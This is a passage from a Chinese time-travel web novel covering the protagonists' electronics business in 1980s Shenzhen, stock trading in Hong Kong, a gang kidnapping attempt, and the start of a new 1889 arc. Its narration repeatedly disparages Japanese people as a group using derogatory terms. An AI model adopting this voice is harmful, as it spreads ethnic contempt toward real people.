小野寺是一名投资商人,他的其中一层身份是当前倭国知名汽车品牌的总经理,此行前来华国考察后决定建立一家汽车维修厂。 不夸张,在小野寺说出建什么厂后,温苒看到招商局一同接待的领导满头问号大写的懵逼。 什么什么厂? 汽车维修厂? 你看满大街这尘土飞扬的,自行车跑快了都能把人颠出个好歹来,还汽车?整个鹏城你能找出几个买的起汽车的? 领导强自忍下一肚子脏话,虽然认为对方在放屁,但他舍不得对方手里的钱。 一天的接待结束,送走小野寺后这位领导终于憋不住,叉起腰原地一顿乱转。 其他人面面相觑,其实他们觉得开个自行车维修厂更实际一点。 晚饭四个人在招商局食堂碰面,打好饭温苒端着饭缸子找到那位领导,开门见山:“这是个机会。” 领导瞬间坐直 ,“说说!” 维修啊,肯定得要配件吧,总不能还从你倭国大老远送过来吧?那这配件该多贵? 所以,为了节省成本,为什么不能在他们华国采购这些零部件呢? 你说没有? 那更好办了,建个厂呗,或者你帮咱升级一下生产线。 考虑到当前美国对华国的技术封锁,后者可能难以实现,那就不要那些技术含量高的零件,总有符合要求的不那么重要的零件。 而一旦接受这个条件,相应的倭国商人就会带来一套和国际接轨的工业生产工艺流程体系。 要知道,目前国内相当一部分工业零部件都还停留在手工制造上,不然八级工为什么这么受重视? 从手搓零件到批量生产,这对当前华国的工业发展、对未来华国建立自己的完整工业体系来说是至关重要的一步。 领导两眼放光,他悟了! 是啊!外商有钱是大爷不假,但他们才是主人,想要什么厂咱可以提,不同意咱再好商量嘛! 谈生意谈生意,漫天要价坐地还钱才对! 这位领导像打通了任督二脉一样,接下来的合作谈判中和温苒配合得十分默契,半个月后成功说服对方将几种基础零件的生产和配件组装线转移到鹏城。 当然,技术人员的指导也会随之而来。 有了这个例子在前,招商局内部一改先前唯唯诺诺的作风,开始了主动出击。 缺什么就要什么,不给?那再商量商量呗,给那个也行! 时间进入九月,通过做商务翻译温苒这边攒了有差不多三千多港币、一千多美元和五百多元。 同时发展的人脉包括招商局和特区一众领导、美国倭国香江宝岛一众商人,掌握的消息也挺不老少。 但办厂的计划还在往后退迟中,横在几人面前的最大问题就是资金不足。 租地建厂需要的资金可以向银行申请贷款,据他们了解到的消息,银行给出的贷款数额不会很高,而且还要预留出后续零件采购和工人工资的部分。 此外,厂子建成后初期的生产计划是组装收录机,但不能只是组装。 人工组装一来效率落后,产能和工人数量紧紧挂钩,二来合格率也不能保证。 更重要的是,这样的厂子能够轻易被取代。 所以她们的厂子还要具备加工和生产能力,换言之,她们的厂子要具备零件加工和生产线。 生产线是说有就能有的吗? 林朝阳摇头,“我们收录机完整的零件生产线目前只有京导厂和沪导厂具备,即便只是核心零件的生产线国内也找不出第三家来,至于其他基础配件具备批量生产能力的国营厂也寥寥无几。” 所以就连购买淘汰生产线的选择也没有。 温苒回他:“既然国内没有,那就找外商购买。” 林朝阳惊得直接跳起来,“外商?那要多少钱?是不是还要用到外汇?” 再说国外一直对华国进行技术封锁,哪怕只是一条淘汰了的半导体零件生产线,人家会同意吗? 霍骁北看了眼窗外。 房间外正对着一条河,一河之隔,对面就是高楼林立的香江。 ** 七十年代初,内地和香江就恢复了通行,内地每天可批准一定数额的人口赴港居留。 经由直通车到达香江,在红石车站下车,四人正式踏上了香江土地。 林朝阳和曲平安全程都是懵的,一个拽一个小心翼翼跟紧夫妻俩。 霍骁北叮嘱两人别放松,回头专心护着温苒。 港英政府暂治下的香江黑色帮派林立,当街砍人巷战火并的情况比比皆是,像火车站这种人流量大的地方更是异常混乱。 车站外拦下一辆出租车,霍骁北报上地点,把发挥空间留给曲平安。 曲平安望着窗外的高楼大厦感觉眼睛都不够使了,揪着司机问这个问那个,林朝阳偶尔也好奇地插句嘴。 经过两个多月的历练,现在这两个已经能熟练使用这里的方言,两种外语也基本掌握了常用沟通用语。 难得的是因为一直在模仿温苒和霍骁北的口音,这俩人说的外语还挺地道。 出租车驶过海底隧道来到湾宝区,最终停在一家酒店前。 富阳酒店,老板杨富林正是一名如今在鹏城投资的港商,此次来港,他发话豪爽地包下了四人的吃住,打电话让经理预留了两间豪华套房。 报上杨富林的名字,在酒店工作人员一众惊奇的目光中,四个大陆仔被经理热情地迎上了顶层的豪华套房。 来到香江的第一天,见识到了现代摩登都市的繁华,曲平安和林朝阳彻夜未眠。 次日,这边温苒磨蹭到十点多才起,洗漱好和霍骁北下楼,去附近一家餐馆吃了个早午饭。 饭后两人溜达着去了酒店不远处的股交所,这也是此行的最终目的地。 温苒思来想去,短时间来钱的方式也就那几种。 去隔壁香澳来钱更快可有没有命拿很难说,但股票投资可没听说谁赚大发了就不能走,而且上辈子霍骁北深耕此道,专业十分对口。 另外,购买国外的生产线或机器以内地工厂的名义或许很困难,所以温苒打算在香江注册一家公司,届时某些不方便的交易可以由这边的公司完成。 借助杨富林杨老板搞定银行账户和股票账户,霍骁北开始了他的工作。 温苒这边,负责带曲平安和林朝阳搜集信息,汇总交给霍骁北,由他做最终判断和交易决定。 曲平安两人甚至来不及开口好奇,就陷入到各种豪门八卦商业报道的海洋中。 也就这两个是门外汉,加上对夫妻俩迷之信任才这么好糊弄,换成别人不是觉得小两口在胡闹就是觉得肯定会赔个底朝天,股交所对面的大厦天台可三不五时就有人爬呢。 到年前几个月的期间,四个人的行程表固定成周一到周五去股交所,周六周日去某些宴会或聚会打探消息。 与此同时,银行账户里的数字飞涨,除开杨先生友情出借的数额,属于他们的数字从五位数到六位数乃至逼近百万大关。 新年前夕,一行人和回香江过年的杨富林吃了顿饭,就通过罗谭桥返回了鹏城。 1981年的春节,四个人在鹏城租的院子里度过。 刚出正月,林朝阳去银行申请贷款,曲平安去政府部门办理租地建厂的手续。 温苒和霍骁北兵分两路,一个找上倭国商人谈购买生产线的生意,一个找上美国商人打探欧洲尤其是德国的消息。 小野寺最终答应向温苒出售一条已经淘汰的生产线,但关于机床,只要温苒提到他就顾左右而言他地装傻。 看来去德国势在必行。 1981年6月,启明电子厂正式建成。 1981年8月,电子厂招工60人。 首月生产收录机二百台,零售定价五十元,首月门店销售一空。 次月生产三百六十台,散往附近各市百货大楼,全部销售一空。 1981年10月,温苒向小野寺花大价钱购买的生产线到华。 意料之中的是,整条生产线几乎报废,这样的东西相当于一堆废铜烂铁,卖给回收公司都只能论斤。 不愧是倭国人,净来阴的。 温苒带林朝阳足足忙活了半年,白天拆理机器晚上翻书苦读,真正的极限挑战。 期间还不得不几次回长京市,请通机厂的八级工老师傅手搓零件,才将整条报废生产线抢救回来,正式投产。 温苒上辈子在医学的海洋里扑腾好歹有个神医技能全程指导,上上辈子大学的专业是计算机就不说什么了,这辈子一头扎进电子和机械领域完全自学速成专家。 1982年夏,启明电 子门店上新两款新产品:台扇和随身听。 随身听一经推出便火爆南方,因体积小方便携带和样式美观成为年轻人追捧的单品。 同时启明随身听的价格也十分亲民,迅速抢占了随身听市场。 新年前夕,启明电子举行促销打折活动,门店产品几乎被哄抢一光。 鹏城新建的小区里,今年只有霍骁北和温苒两人一起吃年夜饭。 曲平安和林朝阳被家长喊回长京相亲,走的时候一个个都拉拉着脸不情不愿的。 房间里只有两人,却不显得冷清。 一边包饺子,温苒和霍骁北商量着明年去欧洲的事情。 叮铃铃—— 霍骁北去了厨房烧水煮饺子,温苒拿起电话接通,话筒里冲出慌乱的尖叫: “不好了老板,咱们店被砸了!” 第29章 第29章八零回城知青29 除夕前一天晚上,启明电子在城中心的门店被一群混混光顾。 所幸年前门店促销打折将店里的库存一扫而空,活动结束后电子厂就放了年假,厂区和门店都只有值班员工留下。 这场风波中无人受伤,也基本没有财物损失。 两人连夜赶去现场,安抚员工给予补偿,并报警交代情况。 类似的事情在启明这里已经不是第一次。 知青返城产生了大量失业人员,某些犯罪团伙自然而然从这个群体中诞生,与此同时犯罪率伴随着失业率飙升,社会就会陷入不稳定境地中。 东广省作为国家改革开放的前沿,近两年恶性事件频发,报纸上抢劫杀人绑票的新闻层出不穷,羊城甚至发生过劫车爆炸案。 温苒每次往返工厂都是霍骁北亲自接送,要是哪次他去香江处理工作,也会安排一串退伍兵保镖护送她上下班。 饶是如此她也碰到过几次危险,启明电子厂在东广省甚至整个南方都赫赫有名,多的是眼睛盯着她这块肉。 不过也快了,明年国家就会开启严打行动,这些犯罪团伙至少不会再这么嚣张。 新年无事,几乎全年午休的温苒给自己安排了一个舒适的假期计划,却在第一天就彻底夭折。 霍骁北! 她是放假!不是要加班! 你见过早晨四点钟的太阳吗? 温苒可以很肯定的说,四点钟没有太阳…… 正月初十,回京的两人再来就变成了四个人。 林朝阳结婚了。 结婚对象说起来还有点关系,是陈副局长媳妇儿娘家的侄女,是一名老师,到鹏城来的工作也确定了是在新建的高中继续教书。 曲平安没有结婚,他带的姑娘是潘奶奶儿媳的堂姐的女儿,因为不想被亲爹逼着嫁傻子换彩礼就跑去了长京市。 不过电话里潘奶奶和赵奶奶都说了,她俩觉着这姑娘不错,模样好性子坚韧要强,想让她和曲平安处一处。 年后恢复生产,启明的店铺一月间被抢劫团伙频繁光顾。 虽然事先叮嘱过员工们以大家的安全为主,但慌乱中不免出现顾客受伤的例子,甚至有一次账本被撕了一半。 门店客流量因而一再减少,比起来财物损失的数额反而是最不重要的。 警察抓到了两回,但下次来的就是另一波。 霍骁北觉得这里面有点问题,费了些功夫从那些混混嘴里问出来,是有人专门找他们抢劫这家店。 顺着这条线调查下去,发现幕后黑手是一家合资电子厂的老板。 巧了,对方工厂生产的产品就是收音机,只不过是晶体管收音机。 更巧的是,那名合资的外商是一名倭国商人,还是先前汽车维修厂的老板小野寺先生的朋友。 这一个月里频繁的抢劫事件是一场恶性的商业竞争。 对方找人办事做得相当隐蔽,警察抓不到他们的把柄,即便能抓到他们也早就准备好了替罪羊。 不过霍骁北也不是吃素的,转头找合作的厂子卡了他们几次配件订单。 国内这几次不痛不痒的针对只是让对方掉以轻心,霍骁北同时通过在香江注册的公司向东南亚出口了一批收录机和随身听。 其中有国营厂生产的晶体管收音机,也有启明电子厂的产品,主打一个从低端到高端通吃。 因为价格实惠功能多样,顺利从早先占下这份市场的倭商手里狠狠咬下一块肉。 市场有了,外汇有了,收益不佳的国营厂也颤颤巍巍地站起来了。 对方吃到教训暂时老实下来,还请了小野寺来做说客,礼数和面子给得很足。 这帮东西什么德性大家都清楚,话说得比谁都好听,捅刀子的时候也比谁都利索。 但总归是来华投资的商人,霍骁北面上高抬贵手,私下里却一直防备着。 1983年8月,全国上下掀起一场轰轰烈烈的严打行动。 这场行动带来的最明显的变化,就是启明门店的玻璃窗终于不用再频繁更换了。 十月份,温苒和霍骁北决定了欧洲之行,鹏城和香江两地的一切事物就交给了曲平安和林朝阳。 这几年两人可以说什么大风大浪没经历过,早就可以独当一面。 欧洲之行收获满满。 两条机床生产线坐上轮船驶向华国,另外温苒确定了公司的下一步发展方向。 电器研发和生产可以独立出一家分公司,相应的电子领域则是未来启明的核心业务。 1985年中秋,温苒接到了来自长京的红梅姨的电话。 温宝昌死了。 据说他是被饿死的。 当初温志伟伤了何德民之后,偷走宋爱民认购房子的钱跑来了南方。 巧的是,曲平安曾在香江见过一次温志伟,但温志伟并没有认出他来。 温志伟跑了以后,为了分到房子,闫春枝带着瘫痪的温宝昌去厂里卖惨。 但事情没有结束,宋爱民被何德民一家缠上了。 那时候红梅姨给温苒打电话,说家属院几乎天天有大戏看。 两家这么你来我往的闹腾了两年,宋爱民突然把工作卖了,说是要去南方找他弟弟温志伟,就和闫春枝一起不见了踪影。 剩下温宝昌和陈招娣母女四个,厂里领导念着温宝昌曾是通机厂的老员工没有把她们赶出去。 但紧接着宋爱民和闫春枝母子半年都没有消息,陈招娣精神失常,被她娘家人接了回去。 温苒知道这件事后,通过曲胜利资助了陈招娣的三个女儿上学,甚至贴心地租下胡同里某处空房给这三姐妹居住。 嗯,都去上学,不许照顾温宝昌,让他自生自灭。 至于瘫痪在床的温宝昌嘛,无法联系上的温苒表示,他只能自己掏钱请护工。 就不信他手里没点别的底牌。 在受尽白眼狼继子和毒妇闫春枝的虐待后,重新当回有钱大爷的温宝昌彻底放飞自我,脾气暴躁刁钻,气走了一个又一个护工。 终于这一年,温宝昌因护工的恶意报复饿死在房间里。 人们发现的时候,温宝昌已经死了一个星期。 正值夏天,尸臭味儿加上屎尿骚味儿,堪称大规模杀伤性武器,把前后几栋楼的住户都给熏得只能去别家借住打地铺。 亲爹死得这么惨,亲儿子怎么能不知道呢? 温苒告诉霍骁北,霍骁北找人把这个故事讲给了如今混成帮派小领导的温志伟。 温志伟愧疚懊悔,但他不认为错在自己,毕竟没有照顾好温宝昌的是闫春枝和宋爱民。 他被逼远走他乡无法尽孝,但宋爱民你不是还在? 宋爱民吃的穿的用的哪样不是他爹温宝昌给的,就连工作也给了宋爱民,宋爱民向他爹尽孝不是应该的? 温志伟决定为父报仇。 听说宋爱民也来了南方,温志伟花大价钱找人打听他的消息,并表示找到人后直接带来香江。 他要在堂口众人面前处决宋爱民,这个自己同母异父不孝不义罪大恶极的兄长,借此在堂口里树立威信。 因为改革开放,这两年出现了一批在内地和港澳流窜作案的犯罪团伙。 温志伟找的就是这帮人。 这帮人犯了案就跑,踪迹难寻,香江警察抓不到也找不到,完全拿他们束手无策。 猫抓老鼠没办法,老鼠找老鼠却一找一个准。 霍骁北一直让人盯着温志伟,得到犯罪团伙接下来的动向后,善意地向羊城严打行动组递了个消息。 没多久,报纸上就传来穷凶极恶的犯罪团伙落网的消息。 不知是不是因为这次羊城警方向外界展现的华国对于犯罪团伙的绝不姑息,此后不仅国内很是安生了一段时间,还吸引了几个来内陆投资的外国大商人。 温志伟的计划落空,正要再次雇人去内地找人,却在这时一个消息传到他耳朵里。 有人在东区看到了闫春枝的身影! 你问为什么别人知道会知道闫春枝的长相,这是因为温志伟在偷跑前无意间拿了一张全家福,上面正好有除了温苒之外所有的温家人。 好啊! 温志伟立马找上闫春枝,然后震惊地发现她不仅住在百十来平的豪宅里,还有佣人伺候?! 而且他还得知宋爱民已经死了?! 这里面有段故事。 早前闫春枝和宋爱民母子两个跑来南方,名义是要找温志伟,其实是打算偷渡来香江。 改革开放后,内地和外界的消息逐渐流通,闫春枝无意间得知了曾经的马夫丈夫的雇主,大资本家宋氏三房的六少爷就在香江。 这位宋家六少也正是宋爱民真正的亲生父亲,母子两个当即直奔香江寻亲。 但普通人想去香江何其困难,何况他们母子俩这辈子就只知道怎么靠别人,一遇到事宋爱民就六神无主,他脾气还爆,连闫春枝都挨过他几下。 最后是闫春枝想了个办法,勾搭了在内地香江两头跑的蛇头,母子俩这才来到香江。 但真正的困难才刚开始。 人生地不熟语言还不通,来了几天就几天没吃饭,宋爱民忍不住饿去偷了东西,结果被人活活打死了。 闫春枝倒是侥幸活了下来,她除了刚来那几天吃过苦,后面有了钱,直接找上宋家六少爷,然后就一直过着吃穿不愁的四房太太的生活。 温志伟知道的事情,温苒这边也都通过霍骁北知道了。 她好奇:“闫春枝哪来的钱?” 霍骁北默了默,“她把宋爱民卖了,给乡下一户人家结阴亲。” 顺带说一句,那家还是个儿子,因为性取向不被家里人接受选择了自杀。 温苒:“……” 再之后,温苒偶然得知,那位宋家六少,不对,现在应该是宋家六老爷多了一个来自内地的儿子。 而在此之前,这位六老爷只有八个女儿,在宋家老太爷面前就是小透明。 香江豪门的传统,没儿子就没底气。 六老爷有了儿子宋志伟就有了争家产的宏愿,恰逢宋家也有来内地投资的意向,父子两个一商量,宋志伟就来了鹏城。 这之后不久,启明的门店又双叒叕被砸了,启明电子厂的仓库还被人放了场大火。 不仅如此,温苒下班回家,坐的轿车被几个飞车党拦截,意图绑票。 第30章 第30章八零回城知青30 轿车被摩托逼停。 后座上温苒淡定地拿起对讲机吩咐大家先别动作。 前几年军队裁军,霍骁北将一些战友请来鹏城,他出钱和战友们合作成立了一家安保公司。 从那以后温苒的安保级别就又蹭蹭涨了几个档次,真遇上绑架团伙可说不好是谁绑谁。 飞车党几个小混混显然不是主谋。 对讲机里传来前面那辆车保镖的汇报:“路口出现一辆轿车。” 轿车里下来一个西装革履头戴墨镜的年轻人,手里把玩着打火机,走过第一辆车来到中间的轿车旁。 紧接着温苒就听车窗从外面被敲响,她盯着车外来人,有些好笑。 真成宋志伟了? 可惜温宝昌死得太早,不然一定要他亲眼看看,他最宝贝的儿子认了别人当爹。 车窗缓缓下降,露出温苒那张清丽出尘的脸蛋,和她戏谑的目光。 温志伟怒意涌上来,一瞬间表情有些狰狞,但很快他嘴角上扬满意地笑出声来。 他生什么气,给这个女人准备的下场会让她知道什么是后悔,待会儿有她跪地求饶的时候。 温志伟摘掉墨镜,挥挥手,“拿上来。” 话落,一人提着医药箱上前举高,温志伟打开箱子,从里取出一只注射器,慢悠悠地将针筒填满。 温苒静静地注视着他的动作,很好,待会儿送他进去的罪名都有了。 察觉到她的视线,宋志伟笑出声来,语气里带着满满的恶意,“知道这是什么吗?” 不需要温苒回答,他自己接话:“不知道也没关系,以后你会求着我给你。” 温苒顿时跟看傻子一样看着宋志伟。 宋志伟举起针筒,抬脚踹向车子,笑容兴奋,“下来吧。” 温苒挑眉,“你先靠过来点。” 宋志伟皱了下眉头面露不悦,但随即想到恐怕这女人早被这阵仗吓得腿软了,算了,他受累拉她一把就是。 宋志伟向前迈步,俯下身去拉车门,就在这时额头忽地抵上一片冷硬的冰凉。 曾经在香江**混过,至今还有联系的宋志伟脸一下就白了,眼底满是不可置信,“你——” 温苒语气冷漠,“闭嘴。” 她视线微转瞥向宋志伟身后,“都别动,这位宋家大少能不能留着狗命就看你们了,要是吓到我,呵!” 众人掏枪举刀的动作僵住,一时间面面相觑。 宋志伟余光将这情况收入眼底,紧咬着牙关急得一张脸都憋红了。 一帮废物! 上啊! 这娘们估计连板机都没扣过拿着枪也就唬唬一般人,随便哪个一枪就能崩了她! 然而让宋志伟失望了。 前后两辆车的保镖收到温苒指示迅速出动,三两下就把一群人五花大绑。 接着保镖队长征用绑匪的摩托车,派了个人进城喊警察。 威胁清除,温苒收起枪下车,朝那个医药箱走过去。 保镖队长担心可能会有炸药,不让温苒靠太近,她只能隔着两三米观察。 “应该不是炸药,我猜是新型毒品。”温苒说道。 队长惊讶,眼神像刀子一样唰一下射向被捆成粽子的宋志伟,“毒品?这小子要给弟妹你注射毒品?他想做什么?他活腻歪了吧?” 活腻歪的宋志伟恼羞成怒,身体扭动不停挣扎,被抹布塞满的嘴里发出哼哼唧唧跟杀猪一样的声音。 温苒看了一眼就嫌弃地收回目光。 不理解,这种人是怎么当上的男主的? “最近鹏城不是出现了一种高纯度上瘾性很强的新毒品?”温苒继续和保镖队长对话。 队长摇头,“这个是液体,那个伪装成了糖丸,据说是从香江传过来的,受害者大多是年纪不大的学生,真是造孽!老霍这次去对面就是为了这件事。” 毒品近两年开始在南方泛滥,这种东西防不胜防,连启明的员工里都有染上毒瘾的,为了买毒品和犯罪团伙里应外合抢劫门店。 幸好那时候安保公司已经成立,店里安排了大量安保,最终才没有造成人员伤亡。 看完了,温苒往车上走,“如果是同一种毒品的话,可能箱子里的纯度更高。” 宋志伟手上有这东西,也就意味着要么他认识那个毒贩子,要么他就是那个毒贩子。 后者不是没可能,据温苒所知宋志伟认祖归宗后不仅没有脱离帮派,还因此一跃成了帮派领导。 而香江**黄赌毒俱全,甚至已经形成了产业链。 男人赌博输钱,逼迫家里的女人去卖淫赚钱;或者男人染上毒瘾,逼迫家里的女人去卖淫赚钱;再或者让好好的女生染上毒瘾,逼迫她们去卖淫赚钱。 温苒忽然反应过来,该不会温志伟也想在她身上来这一套吧? 呵,严打时期进橘子,没两天他就能下去见他爹温宝昌,真是便宜这垃圾东西了。 很快警察赶过来,薅上这群绑匪去了警局。 温苒也被请进去做了个笔录。 这次绑架事件不仅仅是因为私人恩怨,宋志伟应该还盯上了启明电子厂, 或者说他亲自出面,要给温苒注射毒品这种泄私愤的行为才是顺带的。 然而做完笔录温苒却没有被允许离开。 审讯室的隔音效果不好,那傻逼得意洋洋地大声自首:“温苒你跑不了!我死也要拉个垫背的!启明电子厂老板的女人是个毒贩!这个女人是个毒贩!” 温苒:“……” 收到信儿急匆匆赶过来曲平安和林朝阳两对夫妻:“?!” 曲平安一个急刹,还没站稳就怒气冲冲朝那道声音蹿过去,“你他爹放什么狗屁呢?” 林朝阳都没拉住,是几个警察半道把曲平安擒住拧送回来的。 林朝阳让曲平安别冲动。 宋志伟嫌疑最大,他说这话又明显带着个人情绪,警察又不是没脑子,只是程序性地暂时留下温苒而已。 确定没什么大问题后,林朝阳夫妻俩回家带饭菜过来,五个人挤在休息室里过了一宿。 深夜,天边星子闪烁,海风裹挟着水汽穿过这座新兴的城市。 一辆轿车停在鹏城市警局门口,风尘仆仆的身影从上面下来,步履匆匆地进了警局。 休息室条件不好,床板硬得硌骨头,温苒睡得很不踏实。 半梦半醒中,她恍惚落入一个熟悉的怀抱,呼吸间是让人安心的味道,紧绷的思绪放松下来,她沉沉睡过去。 次日一大早,曲平安先醒了,坐起来伸懒腰,胳膊抻到一半,余光往旁边一瞥,就瞥见了温苒旁边坐靠在墙上那个不应该出现在这里的身影。 “北哥?你、你——” 霍骁北睁开眼下意识先去看温苒,确认她没受影响,给她抻了抻被角,才起身叫上曲平安离开屋子。 走廊里还安静着,警察们忙了一宿这会儿正打盹儿恢复精神,曲平安也不敢太大声,“北哥你怎么回来了?” 霍骁北点头,“接到电话就回来了。” 曲平安张张嘴,他想说你在香江的事情怎么办,又想说这也太快了,最后还是决定闭嘴。 这么多年了又不是不清楚,小苒的事情在北哥那里永远排在第一。 不多会儿林朝阳出来,看到霍骁北也只是惊讶了一瞬,很快反应过来这很正常。 霍骁北没有出来太久,和警察交流了些情况就回来休息室继续陪温苒。 温苒这一觉睡到警局晌午饭都过了才醒,醒了连笔录都没做就被霍骁北带回了家。 还想问问情况的温苒:“……” 一番洗漱后,温苒做到饭桌前,捧起碗没吃两口就开始打听。 “宋志伟带的毒品是警察最近找的那种吗?” 沙发上霍骁北冷着脸,不答反问:“猜到是毒品还让他靠那么近?” 温苒:“……” 就知道逃不开这么一遭,温苒放下碗筷,蹬蹬跑过去一屁股坐在他腿上,拉起他的手臂环在自己腰上,再把脑袋往他肩上一靠,调整到舒服的姿势才开口。 “我没让他靠近,我都没下车,我还有枪,不会有危险的。” 霍骁北抬手摸上她脸颊,然后一捏,“没有下次。” 温苒小鸡啄米一样点头,然后快速低头亲了他手心,还不忘了问:“你洗手了吧?没摸过脏东西吧?” 霍骁北:“……” 霍骁北气笑了,“干净得很,但你刚才擦嘴了吗?” 温苒鼓腮。 好吧,谁也别嫌弃谁。 温苒回到饭桌前,最终还是就着宋志伟和宋家的八卦下了饭。 流入国内的新型毒品确实来自宋志伟所在的香江黑帮。 对方窝在香江,鹏城警方手伸不过去,于是选择和香江警方合作,捣毁了对方制毒贩毒的窝点。 宋志伟这边,除了绑架和贩毒这两项罪名,此外他被宋家六老爷认回去后,曾对宋家大房的少爷也就是宋家未来的继承人策划过几次谋杀。 宋志伟被抓的消息传到香江后,宋家大房请鹏城警局的同志们一定要秉公执法,而后迅速在鹏城投资建厂,就好像在刻意表现对宋志伟落网一事的满意。 不久后,宋家大房经某位好心人提示,将宋志伟和宋家六老爷的头发和血液送去国外检测机构,鉴定结果出炉后一式两份分别寄到宋家主宅和香江最有名销量最高的娱乐小报。 宋家六老爷头顶绿帽认错儿子的新闻,在香江足足火爆了半个月。 想要狸猫换太子的闫春芝被丢脸丢到太平洋的宋家六老爷愤怒地扫地出门。 八五年年底,被宋家除名又改回本名的温志伟被执行枪决。 相亲相爱的一家四口,父子三个已经在下面团聚,只剩下闫春枝在香江的街头流浪讨饭苟延残喘。 而这些都和温苒没多大关系了。 八十年代末,启明正式将电器和电子业务切割开,独立成两家分公司。 1993年,启明电子研发生产了国内第一款大哥大手机。 此后整个九十年代,启明电子稳扎通信领域,其技术水平和品牌影响力在国际上始终名列前茅。 步入新世纪,千禧年之初,启明推出第一款个人电脑以及配套的操作系统。 启明出品,必属精品。 启明理念,创新、务实。 启明四十周年典礼上,作为启明的创始人之一和启明的灵魂人物温苒发表了讲话。 岁月似乎格外珍惜这位女士,她的眼神清澈而坚定,面容安静而美丽,话语中充满了智慧。 典礼结束后,温苒和霍骁北相携离开会场,最后看了一眼这个世界。 一位记者将夫妻两人对视的画面记录下来,第二天的报纸上出现一篇文章,文章中写: 【曾听许多人可惜过,温女士和霍先生一生未育,笔者不禁嗤笑。 哪有什么可惜? 她或他拥有热爱并为之奋斗一生的事业,拥有最赤诚纯粹的爱意,她们灵魂相契,这是最美好的样子。】【你现在阅读的是 】 30-40 第31章 第31章1889从闯关东开始1…… 1889年。 直隶省大化府。 林庄儿村。 刚出正月,村里就发生了件大事。 老温家三儿的丫头小花儿和地主长工家姓霍的小子跑了。 梅岭山上新占的土匪头子沙麻金一怒之下,连夜派人毁了老温家田里刚栽的庄稼秧苗。 大清早听到这个消息,温老汉翻着白眼就厥了过去。 等一家子跑去田埂上瞅,看到地里猪拱过一般叫翻了个底朝天,又当场晕死几个。 老温家闹得是人仰马翻。 那帮小匪子真是没人性! 毁完庄稼不算,这天前晌又去扒了老温家两面院墙,临走前还放话:“三天之内,我们大当家活要见人死要见尸!” 庄户人家日子难过啊。 连年灾荒,又逢人祸,老天爷这是丁点儿不给人活头! 土匪们离开后,村民们围上去,七嘴八舌道: “趁早跑吧!” “走!带上咱兄弟们上霍家要人去!” “赶紧把花儿找回来吧!不能叫她一个丫头片子拖累全家啊!” 温老三的婆娘陈六娘,也是小花儿的亲娘,此时此刻瘫倒在地上,望着家里一片狼藉,想到田里被毁的庄稼,眼里死寂一般,心头渐渐浮上悔意。 难道真要用全家人的命去换花儿一个人的命? 林庄儿村外,通向县城的大道上尘土飞扬,一匹枣红色高头骏马奔驰而来。 马背上,高大精壮的男人掌控缰绳,怀里护着睡眼惺忪的纤瘦女子。 这一男一女,赫然就是林庄儿村这场风波的主人公: 温老汉三儿的丫头温小花; 地主长工家的小子 霍北; 也是被错误投放到这个乱世中的温苒和霍骁北。 两人在温苒大一下学期时确定了恋爱关系,虽然年纪相差六岁,但感情关系一直很稳定。 温苒大学毕业后,两家举办了订婚宴,预备等她研究生毕业就结婚。 穿越之前,小情侣正在某海岛度假。 那天夜里霍骁北还翻阳台进了温苒房间,磨磨蹭蹭不愿意离开,最后是在床边打了一宿铺盖。 哪想到只是睡了一觉,眼睛一闭一睁,就来到了这个动荡的年代。 原本两人应该前往的世界要往后翻动100年,也就是1989年。 九十年代的华国虽不如后世繁华先进,却是太平盛世,也是祖国腾飞前夕,在那个时代有手有脚起码不愁吃穿。 然相隔百年,1889年的今天,正处于华国最后一个封建王朝的末期。 在未来几十载岁月中,这片有着悠久文明的广袤山河,将会经历数千年未有之翻天覆地的巨变。 届时烽烟四起,头颅堆山,鲜血成河,遍地先烈的尸骸方才铸成民族脊梁。 霍骁北两世从军,十分愿意为未来的祖国贡献一份自己微薄的力量。 温苒生在21世纪繁荣富强的华国,娇生惯养着长大,来到这个时代后却没想独善其身,她也做好了奉献的准备。 但系统不让。 任务者可对个人命运做出干涉,却禁止扰乱历史进程,系统甚至要求两人在十年内离开这片大陆。 至此,所有雄心壮志皆胎死腹中。 回到现实,摆在两人面前的最大问题是如何在乱世中保全自己。 虽然有金手指签到系统,物资充沛,衣食无忧,但远渡重洋离开华国的船票却是个大难题。 而离开华国后她们又能去哪里呢? 在华国之外的国家,无论白皮黑皮乃至东南亚的黄皮肤从世纪之初就都在有志一同地排华反华,甚至对华国人进行惨无人道的屠杀。 世界之大,竟有一种无容身之处的荒唐。 由于此次投放时空出现差错,两人没有任务在身。 但既然接受了原身的身份,自然不能对因原身私奔导致的温家的处境视而不见。 而要破除温家的困境,首要是解决梅岭山上的那伙土匪,这又是另一个难题。 是智取还是武斗? 智取可有对策? 武斗可能以一敌百? 事后她二人离开,又如何保证那些土匪说到做到放过温家? 两人嘀嘀咕咕了一夜,设想了种种办法,天亮之后,决定先折回林庄村救人。 路上温苒熟睡的这段时间,霍骁北一边御马赶路,脑子也没闲着,有的没的盘算了一堆。 乍然来到新的世界,还处在乱世中,温苒虽然极力在掩饰,但霍骁北能感觉到她的慌张害怕。 霍骁北其实心里也有些没底,他一个人无论什么条件都可以,可温苒上辈子吃什么都没吃过苦,他挺担心温苒会受不了崩溃。 他得尽快做点什么,让温苒能稍稍安心。 温苒醒来时,入眼是深蓝色帐篷顶。 揉着眼睛坐起来,她环视四周一圈,记忆都有些混乱了。 她们不是穿越了吗? 呆坐几秒,帐篷外响起一串脚步声,接着帐篷口从外打开,高大的身影钻进来,帐篷里一下子就变得拥挤。 温苒定睛一看,认出来人后她扑过去,靠在霍骁北胸膛前蹭了蹭,仰头期待地问他:“我们是不是回来了?” 霍骁北揉揉她睡得毛躁的头顶,“还没有。” 温苒一秒丧气,松开他,无精打采道:“那我们现在在哪里?” 霍骁北:“梅岭山。” 温苒唰一下抬起头,杏眼睁圆,惊得语无伦次:“那那那个土匪山寨?!” 她紧张地左看看右看看,又把自己塞回霍骁北的怀里,压低声音:“会被发现的!” “不会。”霍骁北安慰她解释:“梅岭山前前后后五座山,土匪们在别的山头上。我们不方便在村里露面,在解决这里的事情之前,暂时就在山里落脚。” 梅岭山五座大山头范围极广,是太行山脉在冀南和豫北交界往东蔓延出的一条小山脉。 梅岭山高处是真高,且既然带了个‘岭’字,说明地势险峻,大山深处一般人轻易入不得。 土匪们打家劫舍,占山为王,占的山也不是随便占的。 梅岭山最矮的两座山头,正坐落在附近十里八乡进城的必经之路上,也正方便土匪们盘踞在此拦路收费杀人越货。 至于其他几座高险的山头,便是抛没人性的土匪也没那个胆子去探一探。 两人过来时刻意趁了个大早,那会儿土匪们正趴窝里打鼾呢,不然叫他们瞧见那神勇的骏马必是要霸下来的。 